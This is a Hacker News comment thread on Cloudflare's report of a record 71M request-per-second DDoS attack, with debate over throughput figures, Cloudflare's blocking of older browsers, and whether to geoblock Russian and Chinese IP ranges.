[HN Gopher] Cloudflare mitigates record-breaking 71M request-per...
       ___________________________________________________________________
        
       Cloudflare mitigates record-breaking 71M request-per-second DDoS
       attack
        
       Author : neom
       Score  : 180 points
       Date   : 2023-02-14 09:25 UTC (13 hours ago)
        
 (HTM) web link (blog.cloudflare.com)
 (TXT) w3m dump (blog.cloudflare.com)
        
       | superkuh wrote:
       | Cloudflare _is_ a distributed denial of service to anyone that
       | doesn 't run javascript or have the latest browser.
        
       | causi wrote:
       | Sure, Cloudflare can protect you against almost any realistic
       | technical attack. Let me know when they have a service tier that
       | protects me from a hate mob writing angry e-mails, because
       | currently nobody on Cloudflare is safe from that.
        
       | IYasha wrote:
       | Me and millions of users of "obsolete" software and hardware wish
       | CloudFlare slow and painful death. I mean, require solving 65535
       | useless captchas to die. And "sorry, you are not allowed to die
       | now. Try some other time. Meanwhile why don't you learn how we
       | protect the heavens and hell from freeloaders like you!" after
       | that. And repeat. 71M times.
        
         | SketchySeaBeast wrote:
         | What "obsolete" software and hardware are you using that's
         | somehow blocked by Cloudflare?
        
           | IYasha wrote:
           | NetFront on the phone, IceCat mobile (never gets updates) or
           | internal WebView browser on a smartpone, some unknown browser
           | on samsung tv, Firefox 50 on a Linux laptop, but using others
           | often doesn't help. For a while on these I get "screw
           | yourself" message right away, while on others it's 5-30
           | captcha solving (AI feeding) sessions. And not only me.
           | People with stock android 7 and older browsers have this too.
           | And users of "suspicious" (e.g. non-chrome) browsers too. Oh,
           | and these proxy pages forcing me to use JS (which I clearly
           | don't want), and provide training to some AI (same here).
        
             | SketchySeaBeast wrote:
             | Unfortunately the internet moves fast, and if you're using
             | a smart TV (prime for DDOS) or (in internet years) old tech
             | it's the same as trying to drive a model t on the highway -
             | sure it's a perfectly serviceable vehicle but you're
             | probably going to get pulled over more often because you're
             | a danger to yourself and others.
        
       | silisili wrote:
       | This just feels like a typical sales team fluff piece.
       | 
       | I worked in this space, and constantly read articles of different
       | providers claiming to have blocked the biggest attack ever.
       | 
       | Some go by total bandwidth, some by pps, some by number of
       | actors, and apparently some by rps.
       | 
       | Not that it isn't impressive, still, but hardly seems newsworthy.
        
         | nosequel wrote:
         | Somewhere in Akamai there's a group of network engineers
         | laughing at these numbers I'm sure. Akamai just doesn't blog
         | about every neat thing they do.
        
         | blibble wrote:
         | indeed
         | 
         | I suspect a single machine could put out 71M HTTP
         | requests/second without too much difficulty
         | 
         | (but cloudflare never misses an opportunity for a blog post)
        
           | TimWolla wrote:
           | 71M requests per second gives you about 14ns per request.
           | WolframAlpha says that's about 4 times the latency of a L2
           | cache access and 0.8 times the latency of a Mutex lock /
           | unlock:
           | https://www.wolframalpha.com/input?i=1+second+%2F+71+million.
           | So even if you have a massive amount of cores in that
           | machine, you still don't really have much time to spend on a
           | single request and a single mutex operation will exceed your
           | budget.
           | 
           | For comparison: HAProxy was able to deal with 2M requests per
           | second on a single machine in 2021:
           | https://www.haproxy.com/de/blog/haproxy-forwards-
           | over-2-mill... (Disclosure: I'm a HAProxy community
           | contributor).
        
             | blibble wrote:
             | > So even if you have a massive amount of cores in that
             | machine, you still don't really have much time to spend on
             | a single request and a single mutex operation will exceed
             | your budget.
             | 
             | fortunately it's no longer 2000 and I have more than one
             | core, and my NIC has more than one queue
             | 
             | generating requests is a lot less CPU intensive than
             | parsing requests
             | 
             | how much CPU do I have to spend to get a pre-formed 100
             | byte request into the NICs queue? not much at all
             | 
             | (the TCP negotiation will likely be the bottleneck)
        
               | TimWolla wrote:
               | I've interpreted the "put out" in the initial comment as
               | in "put out a fire" (i.e. mitigate), instead of "send
               | out".
        
               | robertlagrant wrote:
               | Could you do this and write it up? I'd love to see how
               | you tune this stuff in hardware and software to get that
               | sort of throughput.
        
             | Aachen wrote:
             | But it's not one machine if you do anycast.
             | 
             | It's a lot, but at cloudflare's scale you either have the
             | budget for a crapton of machines per point of presence
             | (hope I'm using the term correctly) or custom hardware that
             | can deal with this sort of thing. It's kind of their core
             | business.
        
           | geraldwhen wrote:
           | You won't get more than tens of thousands of concurrent
           | network connections at most per machine. Your network switch
           | is likely to fail first, or your operating systems ability to
           | manage concurrent requests. 71M is a lot more network than
           | you suspect.
        
           | moremetadata wrote:
           | >I suspect a single machine could put out 71M HTTP
           | requests/second without too much difficulty
           | 
           | PacketsPerSecond=TransferRate(bytes/second)/PacketSize(bytes/
           | packet)
           | 
           | https://community.arubanetworks.com/community-
           | home/digestvie...
           | 
           | A single 24port switch with 1Gbps ports would see 48Gbps so
           | with 64byte packets would see 71M packets, 1518byte packets
           | would drop to 3.9M packets.
           | 
           | If you are in the business of being the main auditor of your
           | activities, water companies here in the UK being an example,
           | news organisations as another, then does one ever find a
           | problem with one's work?
           | 
           | I've had DDOS on my systems before, and how it took my
           | firewall out was simply increasing the number of requests the
           | firewall had to handle using a SYN flood.
           | https://en.wikipedia.org/wiki/SYN_flood
           | 
           | Most firewalls are fixed and not adaptive, so a bit of low
           | hanging fruit could be had by firewall systems that can adapt
           | to SYN floods, like shortening the time the handshake process
           | stays in memory, choosing to dump all that dont complete
           | within a short period of time, choosing to dump those from ip
           | address blocks linked to country's or regions your dont
           | normally trade with. There are so many ways to handle these
           | situations, but not all firewalls and switches provide the
           | facilities that are needed.
           | 
           | Hackers will exploit default configurations and industry
           | standard best practices, including RFC's.
           | 
           | During one of my lets see what happens if I push this
           | metaphoric button exercises, I was tracing those random
           | packets that appear at firewalls and I happened to have
           | picked one which tracerouted back to a French IP.
           | 
           | What was interesting and consistent with behaviour I've seen
           | in the 90's with dead submarine internet connections at the
           | New York exchange, was the trace route delivered its hop data
           | until I crossed the English channel at which point a packet
           | killed the machine, forcing the mains to be pulled as the
           | machine went totally unresponsive.
           | 
           | It makes me think the UK internet is like some giant virtual
           | dome like the one seen in the film The Truman Show.
        
             | bogomipz wrote:
             | >"A single 24port switch with 1Gbps ports would see 48Gbps
             | so with 64byte packets would see 71M packets, 1518byte
             | packets would drop to 3.9M packets."
             | 
             | This is not correct. An interface doesn't handle more
             | packets per second with smaller packet sizes it handles
             | less, much less. Getting the full 48 Gbps of 24 ports at
             | line rate would only be possible if the packets were full
             | size packets(1500 bytes). The PPS bottleneck with small
             | packets(64 bytes) would mean you would never see line rate
             | on those 24 interfaces as your throughput would fall off a
             | cliff. Network hardware vendors quote PPS using the lower
             | bound of packet size and line rate at full packet size. The
             | PPS bottleneck on a network device is incurred long before
             | the line rate limit is ever reached.
        
               | moremetadata wrote:
               | The min network packet size is 64 bytes, so if they are
               | bundling several small packets into one pseudo jumbo
               | packet and handling it that way, something only using the
               | same manufacturer switch could do as this would be
               | propriety networking, then that could explain their
               | calculations on their webpage.
               | 
               | The data is streamed within time slots, which is why
               | cable lengths of Cat<=5 cable can not be longer than 100
               | metres @ 100Hz. Cat 6 is 55metres at 250Hz.
               | 
               | I dont know what their switch internal workings are,
               | you'll have to ask them why they have quoted that speed,
               | but I know some switches also have built in fibre network
               | connections, as invariably with a network switch with
               | many ports, you could get a queue of packets for one port
               | so there must be some sort of buffering inside a switch
               | to handle and minimise these situations.
               | 
               | It is only "clockwork" electrical pulses at the end of
               | the day.
        
               | bogomipz wrote:
               | This is all complete gibberish. Packets per second is
               | based on the lower bound and Jumbo Frames denotes an MTU
               | or upper bound. Further switches don't aggregate smaller
               | Ethernet frames into Jumbo frames. Packet per second also
               | has zero to do with an Ethernet cable's length. PPS is
               | the "forwarding rate" of the switch which is distinct
               | from the bandwidth of a switch's backplane or switching
               | fabric. Again switching bandwidth and forwarding
               | Bandwidth are two different things. There is also no need
               | for me to "ask them why they have quoted that speed",
               | that's standard with hardware vendors for PPS.
        
           | tmikaeld wrote:
           | Smallest packet flood size is like ~60 bytes, so ~16M req/s
           | on a 1Gbit connection or ~166M req/s on 10 Gbit.
           | 
           | But I'm sure most providers or ISPs would block such output -
           | thus, why it's a DDOS.
        
           | gjulianm wrote:
           | I wouldn't be so dismissive of 71M rps. At around 100 bytes
           | per packet, that's ~70 Gbps minimum, only on requests. It's
           | quite the volume of traffic, you'd need quite a bit of cores,
           | good parsing code and good core and memory distribution. It
           | isn't impossible but it isn't trivial either.
           | 
           | Edit: I misunderstood the comment and thought about
           | "ingestion" and not "generation"
        
           | badrabbit wrote:
           | You can spit out all the traffic you want but who is going to
           | route at that rate for you? If you somehow get it down to say
           | 600 byte per request, that is 42GBps and 340Gbps.
           | 
           | That is 35 10G nics at wire rate.
        
         | badrabbit wrote:
         | I worked in space as well and it is very impressive. But also,
         | this is a blog post, not news.
         | 
         | I would also want to know if Akamai sees similar attacks.
        
         | neom wrote:
         | Usually I wouldn't post a Cloudflare mitigates blah blah blah
         | blog, but I thought this one was particularly interesting
         | because of the range of addresses, an attack that large
         | spawning from over 30,000 IPs is a pretty well orchestrated
         | attack. The most I've read pervious was well under half that
         | (granted I've been out of networking for a long time).
        
           | kortilla wrote:
           | 30k isn't even noteworthy in size for botnets thanks to
           | shitty iot stuff. Mirai attacked Dyn with 100k unique
           | devices.
        
             | nightfly wrote:
             | Comma in odd place. Could be typo of 30,000 or 300,000.
             | Written the same way in the article
        
               | nbadg wrote:
               | Fun fact: how many digits get lumped together in a digit
               | grouping is not universal and varies between different
               | languages and cultures globally: https://en.wikipedia.org
               | /wiki/Decimal_separator#Digit_groupi...
        
               | neom wrote:
               | I used to work on bizdev with a German group and it took
               | me a long time to catch on:
               | 
               | "The character used as the thousands separator In the
               | United States, this character is a comma (,). In Germany,
               | it is a period (.). Thus one thousand and twenty-five is
               | displayed as 1,025 in the United States and 1.025 in
               | Germany. In Sweden, the thousands separator is a space.
               | 
               | The character used as the decimal separator In the United
               | States, this character is a period (.). In Germany, it is
               | a comma (,). Thus one thousand twenty-five and seven
               | tenths is displayed as 1,025.7 in the United States and
               | 1.025,7 in Germany."
        
               | smoe wrote:
               | Switzerland, where I'm from uses 1'023.7, often 1'023,7
               | in handwriting and at least in my region when spoken you
               | also say comma. So it took my a while to parse as I
               | become more and more exposed to number formats from
               | surrounding countries and the US.
        
               | boringg wrote:
               | Everything in this message thread sounds like an annoying
               | data processing problem if you ever have to do numbers
               | between countries. Regex rules aren't universal for the
               | comma issues apparently.
        
               | neom wrote:
               | Fixed the comma, it's 30,000!
        
             | neom wrote:
             | I think 30k 71m request per second http attack is pretty
             | unique? Could certainly be wrong though!
        
       | rwky wrote:
       | That would explain the vultr blocking
       | https://news.ycombinator.com/item?id=34758393
        
       | dustedcodes wrote:
       | I took off all my properties from Cloudflare many years ago
       | because I got increasingly more uncomfortable with a single US
       | company who I know nothing about to sniffing the entire
       | internet's traffic through their servers and ironically my
       | properties had much less issues overall. Whatever value
       | Cloudflare was supposedly adding to us, it couldn't be noticed or
       | quantified in any measurable metric that we could see. The only
       | thing we noticed is that we cut out one extra single point of
       | failure. When Cloudflare had some outages we were unaffected by
       | it, overall increasing our overall availability.
        
       | skepticalloy wrote:
       | Is there any independent verification of this? Or any way of
       | confirming any of the details?
       | 
       | Just seems like a Cloudflare puff piece otherwise.
       | 
       | I would be more interested in a critical article about where they
       | failed to block a DDoS attack, and why. Plus what could be done
       | in the future to mitigate.
        
       | realistik1 wrote:
       | The startup I work for blocks all of china, russia, belarus and
       | serbian IP space, which saves us about $50kper month in bandwidth
       | charges.
       | 
       | The absolutely first thing I do at every company and on every
       | project is ask if I can block russia, china and belarussian IP
       | space, and add all of their ASNs to the bogon list if we run our
       | own bgp.
       | 
       | They are never customers to the businesses of the companies I
       | work for, but they sure manage to harm our businesses.
       | 
       | Russisns mostly try to disrupt and steal because thats their
       | foreign policy.
       | 
       | Chinese just try to destroy and censor. Worked at a company which
       | hosted presentations, one of their 5 million presentations was
       | critical of China. We received over 10,000 phone calls and close
       | to a million emails in two days, and a sustained 10gbps ddos
       | attack for a week.
       | 
       | Letting russia and china on the internet was a massive security
       | mistake we should rectify. The world spends literally BILLIONS
       | because chinarussia are frankly assholes online.
       | 
       | Edit: corrected $500k per month to $50kb per month.
        
         | throwaway67743 wrote:
         | [flagged]
        
           | realistik1 wrote:
           | The reality is the world is filled with bad guys. "Bad" is
           | subjective. From the western point of view, it is crystal
           | clear who our enemies are.
        
             | throwaway67743 wrote:
             | [flagged]
        
             | fredoliveira wrote:
             | > From the western point of view, it is crystal clear who
             | our enemies are.
             | 
             | Myopic, no? I'm in the western world and see that as gross
             | generalization.
        
           | scared333 wrote:
           | Indoctrination is real, just see below. This is not to say
           | this is not a problem elsewhere, but we are now talking about
           | russian:
           | 
           | https://novayagazeta.eu/articles/2022/09/05/kids-with-guns
           | 
           | Statistics seem to back up the fact that russians (and e.g.
           | some other apac countries) are not the best netizens:
           | https://time.com/3087768/the-worlds-5-cybercrime-hotspots/
        
             | throwaway67743 wrote:
             | Indoctrination is indeed real, but it isn't limited to "the
             | other side"
        
               | aliqot wrote:
               | one of yalls using a throwaway, ones not.
        
               | throwaway67743 wrote:
               | One has history, the other was created a couple of hours
               | ago, but nice try!
        
               | aliqot wrote:
               | what are you talking about? do you know where you are
               | right now?
        
               | quenix wrote:
               | The account dubbed "throwaway" is twice as old as the
               | other account.
        
               | aliqot wrote:
               | the exchange rate on throwaway years to IRL years is
               | 10:1, your calculations fail to account for this.
        
         | iptrans wrote:
         | I'm interested to hear how you
         | 
         | 1) block 2 Tbps of attack traffic
         | 
         | 2) save $500k per month in bandwidth charges since blocking at
         | the border means you have to pay for the incoming bandwidth
        
           | realistik1 wrote:
           | 1. Not sure where you got 2tbps? I said 10gbps, but we use
           | Alamai's manages Prolexic ddos mitigation. At previous
           | companies we would buy a half dozen of these, put them at
           | different exchanges and buy transit from the biggest
           | aggregators. This would cost about $4m to get started
           | 
           | 2. I meant $50k per month, edited. This does not count loss
           | of productivity.
        
           | afiori wrote:
           | DDoS don't only cost bandwidth.
        
             | admax88qqq wrote:
             | OP literally said 500k of bandwidth charges.
        
               | bbarnett wrote:
               | And the person you replied to said "only".
        
           | themoonisachees wrote:
           | Supposedly the traffic being blocked would have generated
           | more outgoing traffic, costing more. Also, GP is managing
           | their connections at the bgp level, meaning the requests
           | don't ever hit their firewall, they just are unroutable from
           | these countries ips.
        
         | rkangel wrote:
         | > Letting russia and china on the internet was a massive
         | security mistake we should rectify.
         | 
         | I'm amazed that most of the comments are around the technical
         | possibility/validity of the suggestion and not around this
         | ridiculous bit of bigotry and isolationism.
         | 
         | The internet is successful _because_ it is apolitical and
         | universal. It is amazing it has stayed as unaffected by
         | politics as it has - if it had been  "invite only" for the US
         | and maybe Europe it would not have taken off to the degree that
         | it has and our industry would be orders of magnitude smaller.
         | 
         | Should I not be able to have a video call with a manufacturing
         | partner in China? Should someone on a trip to see their family
         | in Russia not be able to send email? Even Russia, which is
         | behaving almost as badly as a country can, should be kept on
         | the internet. That's how their citizens can know what's
         | actually going on and keep the pressure on the government to
         | stop.
        
           | FpUser wrote:
           | >"...and not around this ridiculous bit of bigotry and
           | isolationism"
           | 
           | It probably shows who the majority of posters are.
        
         | AlexAltea wrote:
         | > Letting russia and china on the internet was a massive
         | security mistake we should rectify.
         | 
         | Internet is decentralized in nature. Even if you tried to undo
         | that, what's stopping anyone from bridging a non-CN/RU Intranet
         | to CN/RU-Intranet.
         | 
         | More importantly: who is to decide that? Should now a US-based
         | organization dictate who EU/JP/Africa can communicate with?
         | Applying such decisions at such a low level will only result in
         | the balkanization of the Internet.
         | 
         | And I totally agree with your approach, cost-reward of CN/RU
         | links don't make sense for 99% of people. But blocking should
         | *still* be optional (opt-in vs opt-out is another debate),
         | becase for some (e.g. hardware, financial firms), the benefits
         | of being able to communicate with China and Russia might
         | outweigh the constant spam/attacks.
         | 
         | On a general note, why do people constantly try to impose their
         | perspective on others? "This is bad for me/most, therefore
         | should be banned for all."
        
           | kordlessagain wrote:
           | > what's stopping anyone from bridging a non-CN/RU Intranet
           | to CN/RU-Intranet.
           | 
           | If someone were considering this, here's a means to do it
           | with 402s: https://github.com/lightninglabs/aperture
        
           | ilikecakeandpie wrote:
           | > Applying such decisions at such a low level will only
           | result in the balkanization of the Internet
           | 
           | Are we not already there with states being able to dictate
           | what is and isn't allowed?
        
             | lxgr wrote:
             | We are, so arguably we don't need private entities joining
             | in the wall building frenzy just yet.
        
             | AlexAltea wrote:
             | Yes, but those are legal measures affecting higher levels
             | of the OSI model, not low-levels technical blocks as OP
             | implied.
             | 
             | Technical measures such as "not letting CN/RU on the
             | Internet", involve at least blocking their IP space at BGP
             | level (null routing as in China's Great Firewall), or even
             | reallocating their IP space.
             | 
             | The Internet might be more or less fragmented at a high-
             | level due to bureaucracy (see GDPR and HTTP Error 451
             | Unavailable for legal reasons or DNS blacklists), but at
             | least everyone can pretty much agree where a public IP
             | address points to.
             | 
             | Breaking up the very foundation of the Internet... that
             | could get really messy and complicated.
        
         | [deleted]
        
         | archerx wrote:
         | I would add Turkey to that list. Many many years ago I had a
         | kind of popular podcast about computer graphics and all of my
         | grief was coming from Turkey. After I banned all of Turkey's
         | IPs my drama was over. Occasionally I would get an email from
         | someone saying they couldn't listen to the episodes and I would
         | explain to them why their country is blocked and they would say
         | it's not fair, I couldn't disagree, its not fair but such is
         | life.
        
           | b3lvedere wrote:
           | Fair is not the right word. Your house, your rules.
        
           | jb1991 wrote:
           | I'm curious what kind of grief a country caused you for a
           | podcast. What were they doing?
        
             | archerx wrote:
             | Constantly trying to get to the backend of the site and
             | occasional ddos. Once one of them managed to deface the
             | front page I had enough and just banned all of Turkey.
        
               | m_eiman wrote:
               | What were they upset about? "Computer graphics" doesn't
               | sound like a controversial topic.
        
               | archerx wrote:
               | I think they just wanted to deface the site for hacker
               | cred. This was a long time ago.
        
           | m00dy wrote:
           | I would remove Turkey from that list. Because, Turks are
           | turks and they should have their own category. Also, Why
           | would turks specifically target a computer graphics podcast ?
           | I don't think it makes sense at all...
        
             | archerx wrote:
             | I don't know but when I blocked Turkey all the script kiddy
             | attacks stopped. Honestly I don't care about turkey, I just
             | wanted the attacks to stop.
        
         | FpUser wrote:
         | I develop and maintain 2 Internet faced products at the moment.
         | One serves my own company the other serves my enterprise
         | client. Neither has ever experienced DDOS (my own is about 10
         | years old). We do have our share of various bots pocking for
         | vulnerabilities and sending us various spam. I'd say that US
         | constitutes very healthy if not predominant portion of those.
         | 
         | >"Letting russia and china on the internet was a massive
         | security mistake we should rectify. The world spends literally
         | BILLIONS because chinarussia are frankly assholes online."
         | 
         | chinarussia are not run by best people for sure. Cutting them
         | or any other country for that matter off the Internet I think
         | is really stupid decision. As for the costs - I think the West
         | in general and the US in particular were able for many decades
         | reap an enormous rewards by having China people do the work for
         | peanuts.
        
         | gymbeaux wrote:
         | Why do they block Serbia? I work with a Serbian offshore team
         | (Intens) and my understanding of Serbia is they have one foot
         | in Russia and one in the rest of the world, kind of like
         | Belarus (but the leader isn't in the pocket of Putin), but I
         | haven't heard about DDoS or other attacks coming from Serbia.
        
         | geek_at wrote:
         | Just for a different perspective, here in the EU I get most of
         | the attacks from US servers. Often times Google cloud or AWS.
         | 
         | But we can't block the IP space of the US for obvious reasons
        
           | tikkabhuna wrote:
           | Did you report it to Google/AWS? I feel like they would be
           | proactive about removing malicious users, but whether
           | expectations match reality is another question.
        
             | batter wrote:
             | I did to Azure and Cloudflare. 0 responses. No one cares.
        
               | tikkabhuna wrote:
               | Disappointing! Thanks for the reply.
        
           | OmarAssadi wrote:
           | Yep. For many years, horrific American providers like
           | C...C....ing had been super well-known effectively allow DDoS
           | amplification attacks.
        
           | ignoramous wrote:
           | Most phishing attacks I've seen are hosted in the US too. I
           | guess that's not only because the US is an absolute mammoth
           | when it comes to Internet infrastructure that no one dares
           | block its IPs, but also it has the cheapest rates for just
           | about anything.
        
           | traceroute66 wrote:
           | > I get most of the attacks from US servers. Often times
           | Google cloud or AWS.
           | 
           | Yup.
           | 
           | The block _$insert_country_ IP range  "solution" is an
           | outdated mentality that should have died off in the 90's.
           | 
           | These days most attacks originate from US/Western cloud and
           | other rent-a-box providers.
           | 
           | They are a gift to attackers because they can hop around at
           | the click of the button and they know the victims can't block
           | the IP ranges because they're managed by US/Western
           | organisations.
           | 
           | DDOS attacks tend to happen on a Command and Control basis,
           | and again, good luck blocking US/Western ISP IP ranges
           | because their customers won't be able to visit your website.
           | 
           | I have long given up on reporting to Google, AWS and others
           | because nothing gets done, most of the time you get an
           | automated message saying they just forward your Abuse report
           | to the customer ... gee, thanks guys.
        
             | rixrax wrote:
             | >> The block $insert_country IP range "solution" is an
             | outdated mentality that should have died off in the 90's.
             | 
             | Maybe so. But it works really well. After blocking certain
             | countries IP ranges / ASes, >70% of abuse we had to deal
             | with just vanished.
             | 
             | Also there are other reasons to block: since the russians
             | attacked Ukraine, business I work with no longer does
             | business with russia, belarusia and few other countries as
             | a matter of principle (and because of sanctions).
        
               | traceroute66 wrote:
               | > After blocking certain countries IP ranges
               | 
               | Alright, can we just put this one to bed ?
               | 
               | When RIPE/APNIC/ARIN allocate a range of IPs, there is
               | _NOTHING_ in the terms and conditions that says  "you can
               | only use this in this geography". The legal range holder
               | must be in the geography, but where they announce it is
               | nobody's business.
               | 
               | The range is held by a range holder who are listed on the
               | relevant database. But there is nothing stopping them
               | using it outside their geography and there is nothing
               | stopping them allocating it to a customer outside of
               | their geography.
               | 
               | So when people talk about "blocking a country's IP
               | ranges" they are talking about "blocking a random range
               | of IP addresses that may or may not be used at all in a
               | given country".
               | 
               | There is also no real control on the databases. Yes you
               | are _supposed to_ keep them truthful and up to date, but
               | we 've all been there looking for abuse contacts and,
               | well ....
               | 
               | So if a Russian range-holder decides to "allocate" a sub-
               | range to a "French" customer and records it as such on
               | the RIPE database what are you going to do ? And if
               | you're buying your "security" data from a third-party,
               | what's your third-party database telling you ? is that
               | sub-range French or Russian ?
               | 
               | Not forgetting of course that IP range != provider. I
               | could foreseeably get an IP range from $bad_country X but
               | announce it over BGP over $isp_from_friendly_country Y,
               | maybe even using their ASN. So that would easily defeat
               | your ASN blocking.
        
               | commandersaki wrote:
               | Probably a better way to block IP ranges by geography is
               | to block by address space announced/originating from an
               | ASN.
        
               | mc32 wrote:
               | However many exceptions to the rule there may be, if it
               | mitigates the number of rogue activity and you're not
               | doing business with those geographies, it's still a net
               | positive to your finances and cybersecurity.
        
               | 5e92cb50239222b wrote:
               | So you decided to punish average Belarusians (and "a few
               | other countries" -- wtf???) because of actions of another
               | country (whose military they're pretty much occupied by),
               | which were initiated by the decision of one man. Got it.
               | 
               | From your incorrect spelling of the country's name (btw,
               | your use of lowercase to demonstrate your contempt looks
               | pathetic) I infer that you know close to nothing of
               | Belarus and their relations with Russia and other
               | countries.
               | 
               | I think I am beginning to understand what people in many
               | Arab countries have been feeling for the past couple of
               | decades. Your words about rule of law and human rights
               | are cheap and, when it comes to the boogeyman of the day,
               | mean nothing in practice. Have fun driving more people
               | towards Putin and further balkanizing the internet. I
               | know I lost a lot of respect for the West since the
               | beginning of 2022.
        
               | aliqot wrote:
               | not every american runs the country.
        
             | themoonisachees wrote:
             | I agree that cloud providers are a blessing to attackers,
             | but blocking russian, chinese and even generally SEA ip
             | space is still a very effective way of stopping the bottom
             | 70% of all attacks. Sure, they're trying such outdated
             | methods that there is very little chance of them suceeding,
             | but honestly when just banning china reduces sshd logs by
             | 50% you wonder why you didn't do it sooner.
        
               | londons_explore wrote:
               | Are you sure you're blocking 70% of attacks? Or are
               | attackers just starting there, and when they realise
               | their attacks aren't working they go via AWS instead?
               | 
               | I can't imagine many people sufficiently motivated to
               | launch a DDoS attack against you, yet not sufficiently
               | motivated to switch to an attack method that will
               | actually work.
        
               | bliteben wrote:
               | Most attacks are using a shotgun approach. DDOS generally
               | are targeted but even then just badly behaved scrapers or
               | vulnerability scanners can add up to be like a DDOS.
        
         | Avamander wrote:
         | If they'd respect abuse complaints things could be different,
         | some do, but way too much is just very malicious.
         | 
         | In the context of email I heavily recommend requiring SPF (just
         | to exist even!) on things originating from China, Russia and
         | VPS providers.
        
         | from wrote:
         | > Chinese just try to destroy and censor. Worked at a company
         | which hosted presentations, one of their 5 million
         | presentations was critical of China. We received over 10,000
         | phone calls and close to a million emails in two days, and a
         | sustained 10gbps ddos attack for a week.
         | 
         | Do you have any proof it had to do with the presentation?
         | You're treating "China" as if it was one person.
         | 
         | > Letting russia and china on the internet was a massive
         | security mistake we should rectify. The world spends literally
         | BILLIONS because chinarussia are frankly assholes online.
         | 
         | China Unicom IPs trying to guess your root password over SSH is
         | not a cyberwarfare campaign. China regularly takes down botnets
         | (read https://blog.netlab.360.com/). It is a result of a bunch
         | of cheap IoT devices with default passwords.
         | 
         | > Russisns mostly try to disrupt and steal because thats their
         | foreign policy.
         | 
         | Great! Now Russians go straight to using a US residential proxy
         | when they commit fraud because they see they are being blocked
         | instead of silently raising their internal risk score or any of
         | the 50 smarter things you could have done.
        
         | Aachen wrote:
         | The startup I work for hasn't ever had issues with any of the
         | things you mentioned. What line of business is this, do you
         | sell weapons to Ukraine or some such?
         | 
         | > absolutely first thing I do at every company and on every
         | project is ask if I can [block various countries]
         | 
         | For side projects?! Blows my mind. This feels like the 2020s
         | version of what used to be in chain emails "don't pick up this
         | phone number or they'll eat your dog". People believe it
         | because it works. They don't pick up the number and their dog
         | wasn't eaten. Doesn't harm them, only the person who owns the
         | number. Better be safe. Use ddos protection (it's free!) and
         | centralize the world's traffic for your hobby website, don't
         | trust your ISP that has a known profit model but rather pay for
         | an additional VPN that promises not to work with law
         | enforcement because that's obviously not shady, similar for
         | using DoH from cloudflare (thanks mozilla for making that the
         | default), etc. The Internet is becoming such a weird place.
         | 
         | I get annoyed when people block Tor, but at least that's
         | somewhat understandable as there is no concept of abuse email
         | addresses to reach out to. Blocking not just ISPs that don't
         | play nice, but an entire country? Multiple? As the first thing
         | you do, before a problem exists? In-sane.
        
           | favaq wrote:
           | Lots of garbage traffic comes from countries such as Russia,
           | China, India, Brazil, etc and if you don't intend to sell
           | anything to them it makes sense to just block them.
           | 
           | If you wrote your website in some shitty language and you
           | need lots of server power just to serve the home page you
           | will end up saving a lot of money from blocking those
           | countries.
        
             | fredoliveira wrote:
             | > If you wrote your website in some shitty language and you
             | need lots of server power just to serve the home page you
             | will end up saving a lot of money from blocking those
             | countries.
             | 
             | At that point, might as well rethink the engineering
             | happening at your company well before considering blocking
             | countries' IP spaces, no?
        
               | aliqot wrote:
               | how dare you besmirch react on hn
               | 
               | edit: i'll say it again too, test me.
        
               | eru wrote:
               | You can do both.
               | 
               | As a cold business decision, just as it makes sense to
               | fire customers who are more hassle than they are worth,
               | it's also makes sense to block prospective customers who
               | are more hassle than they are worth.
               | 
               | Of course, if you engineering is better, you can pick a
               | different false-positive vs false negative trade-off.
        
             | illiac786 wrote:
             | It's all a cost/benefit ratio. Even if the most efficient
             | language is used, given a sufficient number of requests, it
             | might make sense to block them no?
        
             | lxgr wrote:
             | If you don't care about your paying customers ever
             | traveling there and still wanting to use your service (or
             | at least be able to unsubscribe from it without doing a
             | chargeback), sure.
             | 
             | As a customer, I try to avoid any company that considers
             | "blocking the bad countries" a reasonable security posture.
             | If nothing else, it's usually indicative of other
             | irrational and frustrating decisions that might hurt me
             | later.
        
           | realistik1 wrote:
           | > The startup I work for hasn't ever had issues with any of
           | the things you mentioned. What line of business is this, do
           | you sell weapons to Ukraine or some such?
           | 
           | Well, not directly,but this is the first time I was morally
           | willing to work in parallel to the defense industry.
           | 
           | My previous startups were fintech. The customer I had who was
           | attacked by China was Slideshare. Ultimately they bent over
           | for China, and blocked them for a year.
           | 
           | Setup an IPS on a server exposed to the net. Record all
           | attacks for a month, then look up the IP addresses, then you
           | will understand.
           | 
           | I worked in network security at banks for a decade, really
           | Russia and China are responsible for millions of attacks
           | against westerm infrastrucuture in this century causing $10s
           | of billions of damage. It is war.
           | 
           | I've been in the industry for over 30 years and I've seem
           | some shit. Russia once took Estonia offlone for over a month.
           | 
           | Cloudflare and every other CDN understand that China and
           | Russia is a liability, thats wht they make it easy to null
           | route them.
        
             | from wrote:
             | > Setup an IPS on a server exposed to the net. Record all
             | attacks for a month, then look up the IP addresses, then
             | you will understand.
             | 
             | These "attacks" are automated scanners trying a bunch of
             | SSH/Telnet credentials and five year old Netgear CVEs. Why
             | are you worried about these? If you are vulnerable to them
             | you have a serious problem because someone will try them
             | from a BuyVM or Ecatel machine that is Western but more
             | lenient towards scanning and then you will be compromised.
        
             | lxgr wrote:
             | > I've been in the industry for over 30 years and I've seem
             | some shit.
             | 
             | Then maybe you should reevaluate your cold war attitude on
             | network security.
             | 
             | I hope your sites/companies/projects never get attacked by
             | a hacker from an "evil" country that goes through the
             | absolute minimum effort of tunneling through a VPN or
             | botnet in the US...
        
             | batter wrote:
             | I've seen similar stuff in Publishing (news) and another
             | big (popular) company at that time. Yes, Ru/Cn are not the
             | only one, but if you work in security this is just one
             | problem less to solve if you have those banned.
        
         | 0xy wrote:
         | The US' foreign policy is to disrupt and steal as well, even to
         | allies (the NSA engaged in industrial espionage on the Germany
         | company Siemens).
         | 
         | Moreover, DDoS attacks orginating from the US are sometimes
         | greater than Chinese originated attacks -- as recently as a
         | year ago [1]
         | 
         | Also don't forget that some of the sketchiest providers on the
         | internet are American, who routinely ignore abuse reports.
         | NameCheap's abuse reports are almost never actioned, happily
         | taking cash from scammers and spammers.
         | 
         | [1] https://blog.cloudflare.com/ddos-attack-trends-for-2022-q1/
        
           | bbarnett wrote:
           | Hilarious. Someone said block China and Russia, and we have a
           | long response "USA bad! China not as bad!".
           | 
           | No mention of Russia, and the original poster probably has
           | nothing to do with the US.
           | 
           | Here's the thing, China and Russia are the wild west of the
           | internet. Someone starts to DDoS a UK IP from the US, and it
           | gets shut down hard and fast.
           | 
           | Someone starts to DDoS from Russia or China, and reports are
           | dropped on the floor. Same for hacking attempts.
           | 
           | And yes, if someone from Russia or China reports to me,
